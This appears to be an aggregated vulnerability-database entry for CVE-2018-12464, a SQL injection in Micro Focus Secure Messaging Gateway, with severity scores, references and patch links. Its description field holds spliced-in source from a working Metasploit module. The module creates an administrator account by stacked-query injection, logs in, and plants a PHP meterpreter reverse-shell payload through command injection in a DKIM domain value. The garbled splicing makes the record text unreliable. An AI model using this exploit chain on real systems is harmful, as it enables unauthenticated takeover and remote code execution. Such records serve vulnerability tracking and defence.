ID

VAR-201806-1215


CVE

CVE-2018-12464


TITLE

Micro Focus Secure Messaging Gateway In SQL Injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2018-006867

DESCRIPTION

A SQL injection vulnerability in the web administration and quarantine components of Micro Focus Secure Messaging Gateway allows an unauthenticated remote attacker to execute arbitrary SQL statements against the database. This can be exploited to create an administrative account and used in conjunction with CVE-2018-12465 to achieve unauthenticated remote code execution. Affects Micro Focus Secure Messaging Gateway versions prior to 471. It does not affect previous versions of the product that use the GWAVA product name (i.e. GWAVA 6.5). Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The product includes functions such as virus protection, anti-spam, anti-DDos attack and image analysis. Web administration is one of the Web-based management components; quarantine is one of the file isolation components. An unauthenticated user can execute a terminal command under the context of the web user. One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session. Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'], ['CVE', '2018-12464'], ['CVE', '2018-12465'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'], ['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133'] ], 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => false, 'DisclosureDate' => "Jun 19 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_query(query) # # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques # but since we are able to use stacked-query approach, following form of payload is required in order to be able # get back the output of query ! # sql = rand_text_alphanumeric(3 + rand(3)) sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; " sql << query sql << "; -- " sql << rand_text_alphanumeric(3 + rand(3)) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'), 'vars_post' => { 'appkey' => sql } ) end def something_went_wrong fail_with Failure::Unknown, 'Something went wrong' end def check r = rand_text_numeric(15..35) res = execute_query("SELECT #{r}") unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body.include?(r) return CheckCode::Safe end CheckCode::Vulnerable end def implant_payload(cookie) print_status('Creating a domain record with a malformed DKIM data') p = [ { :id => 'temp_0', :Description => rand_text_alpha(5), :DkimList => [ { :Domain => "$(php -r '#{payload.encoded}')", :Selector => '', :TempId => 'tempDkim_1' } ] } ].to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'StateData' => '[{"ouid":1}]', 'SaveData' => p } }) if res && res.code == 200 && res.body.include?('DbNodeId') # Defining as global variable since we need to access them later within clean up function. begin @domainid = res.get_json_document['Nodes'][0]['DbNodeId'] @dkimid = res.get_json_document['Nodes'][1]['DbNodeId'] rescue => e fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}" end print_good('Payload is successfully implanted') else something_went_wrong end end def create_user # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection # issue location where requires a valid session ! print_status('Creating a user with appropriate privileges') # Defining as global variable since we need to access them later within clean up function. @username = rand_text_alpha_lower(5..25) @userid = rand_text_numeric(6..8) query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)" execute_query(query) res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'") if res && res.code == 200 && res.body.include?(@username) print_good("User successfully created. Username : #{@username}") else something_went_wrong end end def login print_status("Authenticating with created user") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'), 'vars_post' => { 'username' => @username, 'password' => rand_text_alpha_lower(5..25), 'passwordmandatory' => rand_text_alpha_lower(5..25), 'LimitInterfaceId' => 1 } ) if res && res.code == 200 && res.body.include?('/ui/default/index.php') print_good('Successfully authenticated') cookie = res.get_cookies else something_went_wrong end cookie end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end create_user cookie = login implant_payload(cookie) print_status('Triggering an implanted payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'DkimRecordId' => @dkimid } }) end def on_new_session(session) print_status('Cleaning up...') cmd = "" cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "' cmd << "DELETE FROM account WHERE loginname ='#{@username}';" cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};" cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};" cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};" cmd << '"' session.shell_command_token(cmd) end end

Trust: 2.07

sources: NVD: CVE-2018-12464 // JVNDB: JVNDB-2018-006867 // BID: 106343 // VULHUB: VHN-122426 // PACKETSTORM: 148758

AFFECTED PRODUCTS

vendor:microfocusmodel:secure messaging gatewayscope:ltversion:471

Trust: 1.0

vendor:microfocusmodel:micro focus secure messaging gatewayscope:ltversion:471

Trust: 0.8

vendor:micromodel:focus secure messaging gatewayscope:eqversion:471

Trust: 0.3

sources: BID: 106343 // JVNDB: JVNDB-2018-006867 // NVD: CVE-2018-12464

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-12464
value: CRITICAL

Trust: 1.0

security@opentext.com: CVE-2018-12464
value: CRITICAL

Trust: 1.0

NVD: CVE-2018-12464
value: CRITICAL

Trust: 0.8

CNNVD: CNNVD-201807-018
value: CRITICAL

Trust: 0.6

VULHUB: VHN-122426
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2018-12464
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-122426
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2018-12464
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

security@opentext.com: CVE-2018-12464
baseSeverity: CRITICAL
baseScore: 10.0
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: CHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 6.0
version: 3.0

Trust: 1.0

sources: VULHUB: VHN-122426 // JVNDB: JVNDB-2018-006867 // CNNVD: CNNVD-201807-018 // NVD: CVE-2018-12464 // NVD: CVE-2018-12464

PROBLEMTYPE DATA

problemtype:CWE-89

Trust: 1.9

sources: VULHUB: VHN-122426 // JVNDB: JVNDB-2018-006867 // NVD: CVE-2018-12464

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201807-018

TYPE

sql injection

Trust: 0.7

sources: PACKETSTORM: 148758 // CNNVD: CNNVD-201807-018

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-006867

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-122426

PATCH

title:Critical SQL Injection Vulnerability in SMG (CVE-2018-12464)url:https://support.microfocus.com/kb/doc.php?id=7023132

Trust: 0.8

title:Micro Focus Secure Messaging Gateway Web administration and quarantine Component SQL Repair measures for injecting vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=81644

Trust: 0.6

sources: JVNDB: JVNDB-2018-006867 // CNNVD: CNNVD-201807-018

EXTERNAL IDS

db:NVDid:CVE-2018-12464

Trust: 2.9

db:EXPLOIT-DBid:45083

Trust: 2.0

db:JVNDBid:JVNDB-2018-006867

Trust: 0.8

db:CNNVDid:CNNVD-201807-018

Trust: 0.7

db:BIDid:106343

Trust: 0.3

db:PACKETSTORMid:148758

Trust: 0.2

db:VULHUBid:VHN-122426

Trust: 0.1

sources: VULHUB: VHN-122426 // BID: 106343 // JVNDB: JVNDB-2018-006867 // PACKETSTORM: 148758 // CNNVD: CNNVD-201807-018 // NVD: CVE-2018-12464

REFERENCES

url:https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/

Trust: 2.0

url:https://support.microfocus.com/kb/doc.php?id=7023132

Trust: 2.0

url:https://www.exploit-db.com/exploits/45083/

Trust: 1.7

url:https://nvd.nist.gov/vuln/detail/cve-2018-12464

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-12464

Trust: 0.8

url:https://www.exploit-db.com/exploits/45083

Trust: 0.3

url:https://www.microfocus.com/products/secure-messaging-gateway/

Trust: 0.3

url:https://www.microfocus.com

Trust: 0.3

url:https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],

Trust: 0.1

url:https://support.microfocus.com/kb/doc.php?id=7023132'],

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-12465

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:https://support.microfocus.com/kb/doc.php?id=7023133']

Trust: 0.1

sources: VULHUB: VHN-122426 // BID: 106343 // JVNDB: JVNDB-2018-006867 // PACKETSTORM: 148758 // CNNVD: CNNVD-201807-018 // NVD: CVE-2018-12464

CREDITS

MEHMET INCE

Trust: 0.4

sources: BID: 106343 // PACKETSTORM: 148758

SOURCES

db:VULHUBid:VHN-122426
db:BIDid:106343
db:JVNDBid:JVNDB-2018-006867
db:PACKETSTORMid:148758
db:CNNVDid:CNNVD-201807-018
db:NVDid:CVE-2018-12464

LAST UPDATE DATE

2024-11-23T22:34:15.375000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-122426date:2019-10-09T00:00:00
db:BIDid:106343date:2018-06-27T00:00:00
db:JVNDBid:JVNDB-2018-006867date:2018-09-03T00:00:00
db:CNNVDid:CNNVD-201807-018date:2019-10-17T00:00:00
db:NVDid:CVE-2018-12464date:2024-11-21T03:45:16.117

SOURCES RELEASE DATE

db:VULHUBid:VHN-122426date:2018-06-29T00:00:00
db:BIDid:106343date:2018-06-27T00:00:00
db:JVNDBid:JVNDB-2018-006867date:2018-09-03T00:00:00
db:PACKETSTORMid:148758date:2018-07-31T14:49:49
db:CNNVDid:CNNVD-201807-018date:2018-07-02T00:00:00
db:NVDid:CVE-2018-12464date:2018-06-29T16:29:00.277